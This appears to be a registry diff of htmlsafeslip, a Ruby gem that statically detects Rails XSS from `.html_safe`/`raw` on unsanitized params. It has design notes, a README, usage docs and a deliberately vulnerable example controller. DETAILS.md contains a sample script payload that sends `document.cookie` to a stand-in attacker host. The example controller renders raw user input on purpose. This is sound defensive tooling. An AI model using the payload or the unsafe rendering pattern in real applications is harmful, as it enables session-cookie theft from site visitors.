htmlsafeslip 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/DETAILS.md +256 -0
- data/Gemfile +3 -0
- data/LICENSE +21 -0
- data/README.md +115 -0
- data/docs/USAGE.md +84 -0
- data/examples/app/controllers/comments_controller.rb +31 -0
- data/examples/app/controllers/fixed_comments_controller.rb +24 -0
- data/exe/htmlsafeslip +7 -0
- data/htmlsafeslip.gemspec +38 -0
- data/lib/htmlsafeslip/checker.rb +268 -0
- data/lib/htmlsafeslip/cli.rb +47 -0
- data/lib/htmlsafeslip/finding.rb +23 -0
- data/lib/htmlsafeslip/render.rb +21 -0
- data/lib/htmlsafeslip/version.rb +3 -0
- data/lib/htmlsafeslip.rb +18 -0
- metadata +86 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: e76342ec60db712f0aebbd48c28d77e63eee2ed5a89544d8501373b90910f834
|
|
4
|
+
data.tar.gz: cfc56e4337296c5a515af03d0e68e73fc86ce6f6be51f99593bce0e4cc088c21
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 7d0dde88d147e36f4eefbb3664be0e6cc2875247594221b5a4700d022209879d17b21c89063c7852f9370ab20de55ebbbac147b677883e57cf3fede688032893
|
|
7
|
+
data.tar.gz: 91a012514d6290f4efc48ef4189b8612022cd388023fc964b25e0f1d8a0b627ea606a722825a79340851347adc6e60c592aba29cf9f329002ff2237bf74a5308
|
data/DETAILS.md
ADDED
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
# htmlsafeslip — Design Details
|
|
2
|
+
|
|
3
|
+
## Why this exists
|
|
4
|
+
|
|
5
|
+
Rails escapes every string interpolated into a view by default — that's
|
|
6
|
+
been true since Rails 3, and it's the single biggest built-in defense
|
|
7
|
+
against Cross-Site Scripting (XSS) the framework has. A `<script>` tag
|
|
8
|
+
typed into a comment box, a bio field, a search box, renders as inert
|
|
9
|
+
text on the page, not as executing markup.
|
|
10
|
+
|
|
11
|
+
Two mechanisms exist specifically to **opt a value out** of that
|
|
12
|
+
protection:
|
|
13
|
+
|
|
14
|
+
- **`String#html_safe`** — marks a string as `ActiveSupport::SafeBuffer`,
|
|
15
|
+
telling Rails "this is already safe HTML, don't escape it."
|
|
16
|
+
- **`raw(...)`** (an ActionView helper) — does the same thing, wrapping a
|
|
17
|
+
value and marking it safe in one call.
|
|
18
|
+
|
|
19
|
+
Both are completely legitimate when used on something a developer
|
|
20
|
+
actually controls and trusts — a hardcoded HTML fragment, a value that's
|
|
21
|
+
already been through `sanitize`/`strip_tags`. Called **directly on
|
|
22
|
+
unsanitized user input**, either one defeats Rails' escaping entirely:
|
|
23
|
+
|
|
24
|
+
```ruby
|
|
25
|
+
class CommentsController < ApplicationController
|
|
26
|
+
def create
|
|
27
|
+
render html: params[:comment].html_safe # <-- htmlsafeslip flags this
|
|
28
|
+
end
|
|
29
|
+
end
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
If a visitor submits `<script>fetch('https://evil.example/steal?c='+document.cookie)</script>`
|
|
33
|
+
as their comment, this code renders it back as **live, executing
|
|
34
|
+
JavaScript** in every other visitor's browser the moment the page loads
|
|
35
|
+
— a classic stored XSS. The exact same gap exists for a reflected value
|
|
36
|
+
rendered straight back from a query param.
|
|
37
|
+
|
|
38
|
+
## Why this keeps getting shipped
|
|
39
|
+
|
|
40
|
+
This isn't an obscure footgun — it's one of the most commonly
|
|
41
|
+
rediscovered Rails mistakes, for a simple reason: the code "just works"
|
|
42
|
+
for every non-malicious input. A normal comment, a normal bio, a normal
|
|
43
|
+
search term all render exactly as the developer expects. Nothing fails a
|
|
44
|
+
manual click-through test. The bug is invisible until someone
|
|
45
|
+
deliberately (or accidentally, via a pasted rich-text fragment with
|
|
46
|
+
stray markup) submits a payload — and by then it's live in production,
|
|
47
|
+
often already stored in the database and rendered to every other user.
|
|
48
|
+
|
|
49
|
+
`.html_safe`/`raw(...)` are also genuinely useful and appear constantly
|
|
50
|
+
in legitimate Rails code — marking a hardcoded partial's output, a value
|
|
51
|
+
that's already been through `sanitize`. That legitimate, idiomatic usage
|
|
52
|
+
is exactly why a plain `grep -r html_safe` across a codebase is
|
|
53
|
+
unworkable as a review tool: it surfaces far more safe uses than unsafe
|
|
54
|
+
ones. The actual question that matters is narrower: **does this specific
|
|
55
|
+
call sit on a value traceable to user input, with nothing sanitizing it
|
|
56
|
+
first?**
|
|
57
|
+
|
|
58
|
+
## What `htmlsafeslip` checks (v0.1)
|
|
59
|
+
|
|
60
|
+
A `.html_safe` call, or a `raw(...)` call, where the value being marked
|
|
61
|
+
safe is traceable — directly, or via a same-method local-variable
|
|
62
|
+
assignment — to:
|
|
63
|
+
|
|
64
|
+
- `params[...]`, or
|
|
65
|
+
- `params.dig(...)`
|
|
66
|
+
|
|
67
|
+
...with **no** sanitization call applied to that value first, anywhere
|
|
68
|
+
in the chain:
|
|
69
|
+
|
|
70
|
+
- `sanitize(...)`
|
|
71
|
+
- `ActionController::Base.helpers.sanitize(...)` (the fully-qualified
|
|
72
|
+
form used outside a view/controller context, e.g. a model or service
|
|
73
|
+
object)
|
|
74
|
+
- `strip_tags(...)`
|
|
75
|
+
- `ERB::Util.html_escape(...)` / `h(...)`
|
|
76
|
+
|
|
77
|
+
```ruby
|
|
78
|
+
# Flagged (HS001): direct, unsanitized
|
|
79
|
+
params[:bio].html_safe
|
|
80
|
+
raw(params[:comment])
|
|
81
|
+
|
|
82
|
+
# Flagged (HS001): same-method local-variable trace
|
|
83
|
+
bio = params[:bio]
|
|
84
|
+
bio.html_safe
|
|
85
|
+
|
|
86
|
+
# Flagged (HS001): params.dig(...) variant
|
|
87
|
+
params.dig(:user, :bio).html_safe
|
|
88
|
+
|
|
89
|
+
# NOT flagged: sanitized first
|
|
90
|
+
sanitize(params[:bio]).html_safe
|
|
91
|
+
strip_tags(params[:bio]).html_safe
|
|
92
|
+
raw(sanitize(params[:x])) # nested sanitize detected
|
|
93
|
+
ActionController::Base.helpers.sanitize(params[:body]).html_safe
|
|
94
|
+
ERB::Util.html_escape(params[:comment]).html_safe
|
|
95
|
+
|
|
96
|
+
# NOT flagged: no traceable connection to params
|
|
97
|
+
"<b>Static trusted HTML</b>".html_safe # hardcoded literal
|
|
98
|
+
raw("<hr>") # hardcoded literal
|
|
99
|
+
@user.bio.html_safe # DB/model attribute -- see limitation below
|
|
100
|
+
|
|
101
|
+
# NOT flagged, out of scope entirely: h(...) is the escaping helper, not
|
|
102
|
+
# html_safe/raw at all -- it's the SAFE pattern, so it's never matched.
|
|
103
|
+
h(params[:name])
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
## How it parses (Ripper for structure, regex only inside a located boundary)
|
|
107
|
+
|
|
108
|
+
Same technique this workspace's `columnskip`/`paramspoof`/`argfreeze`
|
|
109
|
+
packages use: structural boundaries (never text/`do`/`end` counting) come
|
|
110
|
+
from `Ripper.sexp`; a narrower regex only runs over the text of a
|
|
111
|
+
boundary already located structurally.
|
|
112
|
+
|
|
113
|
+
1. Every `def`/`def self.` method node in the file is walked.
|
|
114
|
+
2. Within each method body's source text (line-span located
|
|
115
|
+
structurally): every `var = params[...]`/`params.dig(...)`
|
|
116
|
+
assignment is collected into a `{var_name => sanitized?}` map, where
|
|
117
|
+
`sanitized?` is `true` if the assignment itself was wrapped in
|
|
118
|
+
`sanitize`/`strip_tags`/`ActionController::Base.helpers.sanitize`/
|
|
119
|
+
`ERB::Util.html_escape`/`h` (e.g. `bio = sanitize(params[:bio])`), and
|
|
120
|
+
`false` for a direct, unsanitized assignment (e.g. `bio =
|
|
121
|
+
params[:bio]`). A later reassignment in the same method overrides an
|
|
122
|
+
earlier one.
|
|
123
|
+
3. Every `.html_safe` call site, and every `raw(...)` call site, is
|
|
124
|
+
matched, capturing the receiver/argument expression immediately
|
|
125
|
+
before `.html_safe` or inside `raw(...)`'s parentheses.
|
|
126
|
+
4. That expression is classified:
|
|
127
|
+
- **sanitized** — it's itself a `sanitize`/`strip_tags`/
|
|
128
|
+
`ActionController::Base.helpers.sanitize`/`ERB::Util.html_escape`/
|
|
129
|
+
`h` call (regardless of what's inside it) → not flagged.
|
|
130
|
+
- **traced, unsanitized** — it's a direct `params[...]`/
|
|
131
|
+
`params.dig(...)` read, or a bare local variable present in the
|
|
132
|
+
method's param-variable map with `sanitized? == false` → **flagged
|
|
133
|
+
(HS001)**.
|
|
134
|
+
- **not traced** — a string literal, an instance variable/dotted
|
|
135
|
+
attribute chain (`@user.bio`), or any other shape → not flagged.
|
|
136
|
+
|
|
137
|
+
## Explicitly out of scope / known limitations (v0.1)
|
|
138
|
+
|
|
139
|
+
- **Same-method scope only, no cross-method/cross-file data flow.** A
|
|
140
|
+
variable assigned from `params` in one method and referenced (even
|
|
141
|
+
under the identical name) in a *different* method is not traced — this
|
|
142
|
+
mirrors the same "resolved boundary, not full data flow" trade-off
|
|
143
|
+
`columnskip`/`paramspoof`/`jobclash` document for their own checks. See
|
|
144
|
+
`different_method_scope_clean.rb` in the spec fixtures.
|
|
145
|
+
- **Database/model-attribute values are not traced, even when the
|
|
146
|
+
underlying column ultimately originated from a `params` value written
|
|
147
|
+
in a different method or an entirely different request.** `@user.bio`
|
|
148
|
+
is a dotted attribute-access chain with no traceable connection to
|
|
149
|
+
`params` *in this method* — a genuinely harder, cross-request
|
|
150
|
+
stored-XSS problem (did whatever write `@user.bio` to the database, at
|
|
151
|
+
some point in the past, in some other controller action, sanitize it
|
|
152
|
+
first?) that a same-method-tracing static tool cannot answer. This is
|
|
153
|
+
an honest, deliberate scope limitation, not an oversight — the same
|
|
154
|
+
"resolved boundary, not full history" trade-off this portfolio's other
|
|
155
|
+
Ruby tools commit to for their own tracing. See
|
|
156
|
+
`db_attribute_html_safe_clean.rb` in the spec fixtures.
|
|
157
|
+
- **Assignment-shape heuristic, not full expression evaluation.** A
|
|
158
|
+
variable is only recognized as params-derived when it's *directly*
|
|
159
|
+
assigned from `params[...]`/`params.dig(...)` (optionally wrapped in a
|
|
160
|
+
recognized sanitize call). `bio = fetch_bio_somehow(params[:id])` is
|
|
161
|
+
never traced — the tool has no way to know what an arbitrary method
|
|
162
|
+
call returns.
|
|
163
|
+
- A real, acknowledged consequence: a variable reassigned through an
|
|
164
|
+
*unrecognized* transformation in between (`bio = params[:bio];
|
|
165
|
+
bio = some_custom_filter(bio)`) is no longer traced at all, even
|
|
166
|
+
though the original read was unsanitized params input and the custom
|
|
167
|
+
filter might do nothing to neutralize HTML. htmlsafeslip has no way
|
|
168
|
+
to know what `some_custom_filter` does — this is the same
|
|
169
|
+
conservative trade-off `paramspoof`'s allowlist-guard detection
|
|
170
|
+
makes for its own tracing.
|
|
171
|
+
- **No chained-method tolerance on the traced receiver.** `params[:bio]
|
|
172
|
+
.to_s.html_safe` is not recognized as traced (only a bare
|
|
173
|
+
`params[...]`/`params.dig(...)`/a tracked local variable is matched
|
|
174
|
+
immediately before `.html_safe`, or as `raw(...)`'s entire argument) —
|
|
175
|
+
a real, narrower-than-ideal gap, documented rather than silently
|
|
176
|
+
accepted.
|
|
177
|
+
- **No autofix, no runtime enforcement.** `htmlsafeslip` only reports; it
|
|
178
|
+
never rewrites `.html_safe`/`raw(...)` calls, and never runs inside the
|
|
179
|
+
actual render path.
|
|
180
|
+
|
|
181
|
+
## Prior art (checked before building, 2026-10) — honest disclosure
|
|
182
|
+
|
|
183
|
+
**Brakeman — the standard, most widely used static security scanner for
|
|
184
|
+
Rails — already has a long-standing, built-in check for exactly this
|
|
185
|
+
pattern class.** Brakeman's `CheckCrossSiteScripting` check (one of its
|
|
186
|
+
oldest and most mature checks, present since early Brakeman releases) is
|
|
187
|
+
specifically built to trace tainted (user/request-derived) data flowing
|
|
188
|
+
into an unescaped-output sink, including `html_safe`/`raw` call sites.
|
|
189
|
+
This is a real, meaningful, direct overlap — not a different, uncovered
|
|
190
|
+
gap — and anyone running Brakeman against a full Rails app already gets
|
|
191
|
+
warned on patterns in this exact family.
|
|
192
|
+
|
|
193
|
+
What htmlsafeslip does differently, for a reader deciding whether it
|
|
194
|
+
adds anything beyond Brakeman:
|
|
195
|
+
|
|
196
|
+
- **Zero Rails-app-boot/project-structure requirement.** Brakeman is
|
|
197
|
+
built to analyze a **whole, recognizable Rails application** — it
|
|
198
|
+
expects (and in practice needs) a real app directory tree
|
|
199
|
+
(`config/routes.rb`, `app/`, a parseable `Gemfile`, etc.) to build its
|
|
200
|
+
internal model and run its full taint-tracking pipeline across
|
|
201
|
+
controllers, views, and models together; it is not designed to be
|
|
202
|
+
pointed at an arbitrary single `.rb` file or snippet outside that
|
|
203
|
+
structure. `htmlsafeslip` is a pure Ripper-based static check with
|
|
204
|
+
**zero Rails/Brakeman dependency** — runnable against any `.rb` file
|
|
205
|
+
or directory, inside or outside a Rails app, with no app-boot step and
|
|
206
|
+
no project-structure requirement at all.
|
|
207
|
+
- **A narrower, same-method-scope trace, not full cross-file taint
|
|
208
|
+
analysis.** Brakeman's actual strength here is exactly what
|
|
209
|
+
htmlsafeslip explicitly does *not* attempt: tracking a tainted value
|
|
210
|
+
across method calls, through instance variables set in one action and
|
|
211
|
+
read in a view, and even (with caveats) through a database round-trip.
|
|
212
|
+
htmlsafeslip's rule is deliberately narrower — same-method only, as
|
|
213
|
+
documented above — in exchange for needing nothing but the file itself
|
|
214
|
+
to run.
|
|
215
|
+
- **A longer, educational message per finding**, naming the concrete
|
|
216
|
+
failure mode (a `<script>` payload executing live, the instant it
|
|
217
|
+
renders) rather than Brakeman's confidence-scored warning line — aimed
|
|
218
|
+
at a developer who hasn't hit the bug yet.
|
|
219
|
+
|
|
220
|
+
**Conclusion, stated plainly: this package's core rule meaningfully
|
|
221
|
+
duplicates existing, well-known Brakeman coverage for the subset of
|
|
222
|
+
cases Brakeman is actually run against (a full, bootable Rails app).**
|
|
223
|
+
It's documented here in full rather than glossed over — the
|
|
224
|
+
differentiator that matters in practice is "no Rails-app-boot
|
|
225
|
+
requirement, usable on a single file or a non-standard project layout,"
|
|
226
|
+
not "catches something Brakeman fundamentally can't."
|
|
227
|
+
|
|
228
|
+
## Package layout
|
|
229
|
+
|
|
230
|
+
```
|
|
231
|
+
htmlsafeslip/
|
|
232
|
+
lib/htmlsafeslip.rb # top-level require, Htmlsafeslip.check entry point
|
|
233
|
+
lib/htmlsafeslip/ # finding, checker, cli, render, version
|
|
234
|
+
exe/htmlsafeslip # CLI executable
|
|
235
|
+
spec/ # RSpec suite + fixture .rb files
|
|
236
|
+
examples/ # one controller that trips the rule, one clean fix
|
|
237
|
+
docs/USAGE.md # full API/CLI reference
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
## Testing
|
|
241
|
+
|
|
242
|
+
Fixture-based, zero network/Rails dependency: RSpec covering direct
|
|
243
|
+
`params[:bio].html_safe` and `raw(params[:comment])` (both flagged), a
|
|
244
|
+
same-method local-variable trace, the `params.dig(...)` variant, multiple
|
|
245
|
+
`.html_safe`/`raw` calls in one method with only the unsanitized one
|
|
246
|
+
flagged, `sanitize(...)`/`strip_tags(...)`/
|
|
247
|
+
`ActionController::Base.helpers.sanitize(...)`/`ERB::Util.html_escape(...)`
|
|
248
|
+
applied first (all clean), a hardcoded string literal on both
|
|
249
|
+
`.html_safe` and `raw(...)` (clean), `h(...)` as an out-of-scope escaping
|
|
250
|
+
helper (clean, never matched at all), a nested `sanitize(...)` inside
|
|
251
|
+
`raw(...)`'s argument (clean), a database/model-attribute value with no
|
|
252
|
+
same-method params trace (clean, documented limitation), same-method-
|
|
253
|
+
scope-only tracing (a same-named variable in a different method isn't
|
|
254
|
+
traced), and a file that fails to parse (returns no findings rather than
|
|
255
|
+
raising). The CLI is exercised end-to-end against fixture files, checking
|
|
256
|
+
text and `--json` output and all exit codes.
|
data/Gemfile
ADDED
data/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Jay Tank
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
data/README.md
ADDED
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
# htmlsafeslip
|
|
2
|
+
|
|
3
|
+
[](https://rubygems.org/gems/htmlsafeslip)
|
|
4
|
+
[](LICENSE)
|
|
5
|
+
|
|
6
|
+
Flags a `.html_safe` call, or a `raw(...)` call, applied to a value
|
|
7
|
+
traceable — directly, or via a same-method local variable — to
|
|
8
|
+
`params[...]`/`params.dig(...)`, with **no sanitization call applied to
|
|
9
|
+
it first**.
|
|
10
|
+
|
|
11
|
+
Both `.html_safe` and `raw(...)` tell Rails' view layer "this string is
|
|
12
|
+
already safe HTML, don't auto-escape it." Rails' default auto-escaping
|
|
13
|
+
(on by default since Rails 3) is the single biggest built-in XSS defense
|
|
14
|
+
the framework has — calling either directly on unsanitized,
|
|
15
|
+
user-controlled input defeats it entirely, turning a `<script>...</script>`
|
|
16
|
+
payload typed into a comment, bio, or URL param into live, executing
|
|
17
|
+
HTML the instant it's rendered. See [DETAILS.md](DETAILS.md) for the
|
|
18
|
+
exact failure mode.
|
|
19
|
+
|
|
20
|
+
> **Honest prior-art note:** Brakeman — the standard, widely used Rails
|
|
21
|
+
> security scanner — already has a mature, built-in check
|
|
22
|
+
> (`CheckCrossSiteScripting`) for exactly this pattern class. This is a
|
|
23
|
+
> real, meaningful overlap, not a different, uncovered gap. See
|
|
24
|
+
> [DETAILS.md](DETAILS.md#prior-art-checked-before-building-2026-10----honest-disclosure)
|
|
25
|
+
> for the full, honest comparison — in short, Brakeman requires a full,
|
|
26
|
+
> bootable Rails application to run against; `htmlsafeslip` is a
|
|
27
|
+
> standalone, zero-Rails/Brakeman-dependency Ripper check that runs
|
|
28
|
+
> against any `.rb` file or directory, with no app-boot step.
|
|
29
|
+
|
|
30
|
+
## Quick start
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
gem install htmlsafeslip
|
|
34
|
+
htmlsafeslip check app/controllers app/views app/helpers
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
```
|
|
38
|
+
htmlsafeslip: 1 finding(s)
|
|
39
|
+
[HS001] app/controllers/comments_controller.rb:4 params[:comment].html_safe -- CommentsController#create: params[:comment].html_safe marks a value traceable to `params[:comment]' in #create as already-safe HTML, with no sanitize(...)/strip_tags(...)/h(...)/ERB::Util.html_escape(...) call applied to it first -- this defeats Rails' default auto-escaping entirely, so a <script>...</script> (or any other HTML) payload in this value executes live, the instant it's rendered. Run it through sanitize(...) or strip_tags(...) before marking it safe, or drop .html_safe and let Rails auto-escape it. See DETAILS.md.
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
Exits `1` if any finding, `0` otherwise — wire it into CI as a pre-merge
|
|
43
|
+
gate on `app/controllers/`, `app/views/`, and `app/helpers/`.
|
|
44
|
+
|
|
45
|
+
## As a library
|
|
46
|
+
|
|
47
|
+
```ruby
|
|
48
|
+
require "htmlsafeslip"
|
|
49
|
+
|
|
50
|
+
findings = Htmlsafeslip.check(paths: Dir.glob("app/**/*.rb"))
|
|
51
|
+
findings.each { |f| puts "[#{f.code}] #{f.kind} on #{f.receiver} (#{f.file}:#{f.line})" }
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
## What it checks (v0.1)
|
|
55
|
+
|
|
56
|
+
A `.html_safe` call, or a `raw(...)` call, on a value that is:
|
|
57
|
+
|
|
58
|
+
1. a **direct** `params[...]`/`params.dig(...)` read, or
|
|
59
|
+
2. a **bare local variable** assigned from one of those earlier in the
|
|
60
|
+
*same method* (traced anywhere later in the same method body),
|
|
61
|
+
|
|
62
|
+
...with **no** sanitization call (`sanitize(...)`,
|
|
63
|
+
`ActionController::Base.helpers.sanitize(...)`, `strip_tags(...)`,
|
|
64
|
+
`ERB::Util.html_escape(...)`/`h(...)`) applied to that value first,
|
|
65
|
+
anywhere in the chain — including nested inside `raw(...)`'s own
|
|
66
|
+
argument (`raw(sanitize(params[:x]))` is correctly recognized as safe).
|
|
67
|
+
|
|
68
|
+
```ruby
|
|
69
|
+
params[:bio].html_safe # flagged
|
|
70
|
+
raw(params[:comment]) # flagged
|
|
71
|
+
bio = params[:bio]; bio.html_safe # flagged (same-method trace)
|
|
72
|
+
params.dig(:user, :bio).html_safe # flagged
|
|
73
|
+
|
|
74
|
+
sanitize(params[:bio]).html_safe # not flagged -- sanitized first
|
|
75
|
+
strip_tags(params[:bio]).html_safe # not flagged -- sanitized first
|
|
76
|
+
raw(sanitize(params[:x])) # not flagged -- nested sanitize
|
|
77
|
+
"<b>Static trusted HTML</b>".html_safe # not flagged -- hardcoded literal
|
|
78
|
+
raw("<hr>") # not flagged -- hardcoded literal
|
|
79
|
+
h(params[:name]) # not flagged -- out of scope, the safe pattern
|
|
80
|
+
@user.bio.html_safe # not flagged -- DB attribute, see limitation
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
**Not flagged / explicitly out of scope** (see
|
|
84
|
+
[DETAILS.md](DETAILS.md#explicitly-out-of-scope--known-limitations-v01)
|
|
85
|
+
for the full, honest list):
|
|
86
|
+
|
|
87
|
+
- A database/model-attribute value with no traceable connection to
|
|
88
|
+
`params` in the *same method* — a real, documented scope limitation,
|
|
89
|
+
not a guarantee the value is actually safe (it may have originated
|
|
90
|
+
from an unsanitized `params` value written in a different
|
|
91
|
+
method/request entirely).
|
|
92
|
+
- A hardcoded string literal — the common, legitimate Rails idiom for
|
|
93
|
+
marking genuinely-static trusted HTML as safe.
|
|
94
|
+
- `h(...)`/`ERB::Util.html_escape(...)` calls themselves — these *are*
|
|
95
|
+
the safe escaping pattern, so they're never matched as findings at all
|
|
96
|
+
(only recognized as a sanitizer when they wrap a traced value before
|
|
97
|
+
`.html_safe`/`raw(...)`).
|
|
98
|
+
- Same-method scope only — a variable assigned from `params` in one
|
|
99
|
+
method isn't traced into a different method, even under the identical
|
|
100
|
+
variable name.
|
|
101
|
+
|
|
102
|
+
Class/method boundaries are found by parsing with Ruby's own `Ripper`,
|
|
103
|
+
not regex over raw source — see [DETAILS.md](DETAILS.md) for exactly
|
|
104
|
+
how, and its honest limits.
|
|
105
|
+
|
|
106
|
+
## Requirements
|
|
107
|
+
|
|
108
|
+
Developed and tested against Ruby 3.0.2, matching this workspace's other
|
|
109
|
+
Ruby packages. No known incompatibility with newer 3.x versions. No
|
|
110
|
+
Rails or ActionView installation is required to run htmlsafeslip — it's
|
|
111
|
+
a pure static-source check.
|
|
112
|
+
|
|
113
|
+
## License
|
|
114
|
+
|
|
115
|
+
MIT
|
data/docs/USAGE.md
ADDED
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
# htmlsafeslip — Usage
|
|
2
|
+
|
|
3
|
+
## Library API
|
|
4
|
+
|
|
5
|
+
```ruby
|
|
6
|
+
require "htmlsafeslip"
|
|
7
|
+
|
|
8
|
+
findings = Htmlsafeslip.check(paths: paths)
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
`paths` — an array of paths to `.rb` files (the CLI expands directories
|
|
12
|
+
for you; the library API expects an already-expanded file list, so use
|
|
13
|
+
`Dir.glob("app/**/*.rb")` or similar).
|
|
14
|
+
|
|
15
|
+
### Return value
|
|
16
|
+
|
|
17
|
+
An `Array<Htmlsafeslip::Finding>`. Each `Finding` has:
|
|
18
|
+
|
|
19
|
+
- `code` — always `"HS001"` (one rule: an unsanitized, params-traceable
|
|
20
|
+
value marked safe for raw HTML rendering)
|
|
21
|
+
- `klass` — the enclosing class name the call site was found in (nil if
|
|
22
|
+
the call site sits outside any class)
|
|
23
|
+
- `method` — the enclosing method name, e.g. `"create"`
|
|
24
|
+
- `kind` — which unescaping mechanism was used: `"html_safe"` or `"raw"`
|
|
25
|
+
- `receiver` — the receiver/argument text that was marked safe, e.g.
|
|
26
|
+
`"params[:bio]"`, `"bio"`, or `"params.dig(:user, :bio)"`
|
|
27
|
+
- `file` — path to the source file
|
|
28
|
+
- `line` — line number of the offending call
|
|
29
|
+
- `message` — human-readable description with the fix
|
|
30
|
+
- `#to_h` — plain hash of the above eight keys
|
|
31
|
+
|
|
32
|
+
## CLI
|
|
33
|
+
|
|
34
|
+
```bash
|
|
35
|
+
htmlsafeslip check <path> [<path> ...] [--json]
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
Each `<path>` is a `.rb` file or a directory (directories are recursively
|
|
39
|
+
expanded to every `**/*.rb` file inside them). At least one path is
|
|
40
|
+
required.
|
|
41
|
+
|
|
42
|
+
### Exit codes
|
|
43
|
+
|
|
44
|
+
- `0` — no findings
|
|
45
|
+
- `1` — one or more findings
|
|
46
|
+
- `2` — usage error (no paths, unknown command, bad flag)
|
|
47
|
+
|
|
48
|
+
### Example
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
$ htmlsafeslip check app/controllers/comments_controller.rb
|
|
52
|
+
|
|
53
|
+
htmlsafeslip: 1 finding(s)
|
|
54
|
+
[HS001] app/controllers/comments_controller.rb:4 params[:comment].html_safe -- CommentsController#create: params[:comment].html_safe marks a value traceable to `params[:comment]' in #create as already-safe HTML, with no sanitize(...)/strip_tags(...)/h(...)/ERB::Util.html_escape(...) call applied to it first -- this defeats Rails' default auto-escaping entirely, so a <script>...</script> (or any other HTML) payload in this value executes live, the instant it's rendered. Run it through sanitize(...) or strip_tags(...) before marking it safe, or drop .html_safe and let Rails auto-escape it. See DETAILS.md.
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### `--json`
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
$ htmlsafeslip check app/controllers/comments_controller.rb --json
|
|
61
|
+
{"findings":[{"code":"HS001","klass":"CommentsController","method":"create","kind":"html_safe","receiver":"params[:comment]","file":"app/controllers/comments_controller.rb","line":4,"message":"..."}]}
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
## What triggers a finding
|
|
65
|
+
|
|
66
|
+
A `.html_safe` call, or a `raw(...)` call, on a value that is:
|
|
67
|
+
|
|
68
|
+
1. a direct `params[...]`/`params.dig(...)` read, or
|
|
69
|
+
2. a bare local variable assigned from one of those earlier in the
|
|
70
|
+
*same method*,
|
|
71
|
+
|
|
72
|
+
...with no `sanitize(...)`/`ActionController::Base.helpers.sanitize(...)`/
|
|
73
|
+
`strip_tags(...)`/`ERB::Util.html_escape(...)`/`h(...)` call applied to
|
|
74
|
+
that value first.
|
|
75
|
+
|
|
76
|
+
Not flagged: a hardcoded string literal, a value already passed through
|
|
77
|
+
one of the sanitization calls above (including nested inside `raw(...)`'s
|
|
78
|
+
own argument), `h(...)`/`ERB::Util.html_escape(...)` used by themselves
|
|
79
|
+
(the safe pattern, out of scope entirely since no `.html_safe`/`raw(...)`
|
|
80
|
+
is involved), a database/model-attribute value with no same-method
|
|
81
|
+
`params` trace, and a variable traced only in a different method. See
|
|
82
|
+
[DETAILS.md](../DETAILS.md) for the exact failure mode this rule
|
|
83
|
+
targets, the honest prior-art comparison against Brakeman's
|
|
84
|
+
`CheckCrossSiteScripting` check, and this heuristic's documented limits.
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
# htmlsafeslip flags both calls below: `.html_safe` and `raw(...)` tell
|
|
2
|
+
# Rails' view layer "this string is already safe HTML, don't auto-escape
|
|
3
|
+
# it" -- applied directly to a user-controlled params value with no
|
|
4
|
+
# sanitization first, any <script>...</script> (or other HTML) payload a
|
|
5
|
+
# visitor submits in a comment or bio field executes live, in every other
|
|
6
|
+
# visitor's browser, the instant the page renders.
|
|
7
|
+
class CommentsController < ApplicationController
|
|
8
|
+
def create
|
|
9
|
+
@comment = Comment.new(comment_params)
|
|
10
|
+
@comment.save!
|
|
11
|
+
|
|
12
|
+
# The submitted comment body is rendered back unsanitized and
|
|
13
|
+
# unescaped -- a stored/reflected XSS payload executes for anyone who
|
|
14
|
+
# views this response.
|
|
15
|
+
render html: params[:comment].html_safe
|
|
16
|
+
end
|
|
17
|
+
|
|
18
|
+
def show
|
|
19
|
+
bio = params.dig(:user, :bio)
|
|
20
|
+
|
|
21
|
+
# raw(...) is exactly as dangerous as .html_safe here -- same missing
|
|
22
|
+
# sanitization, same traced params value.
|
|
23
|
+
render html: raw(bio)
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
private
|
|
27
|
+
|
|
28
|
+
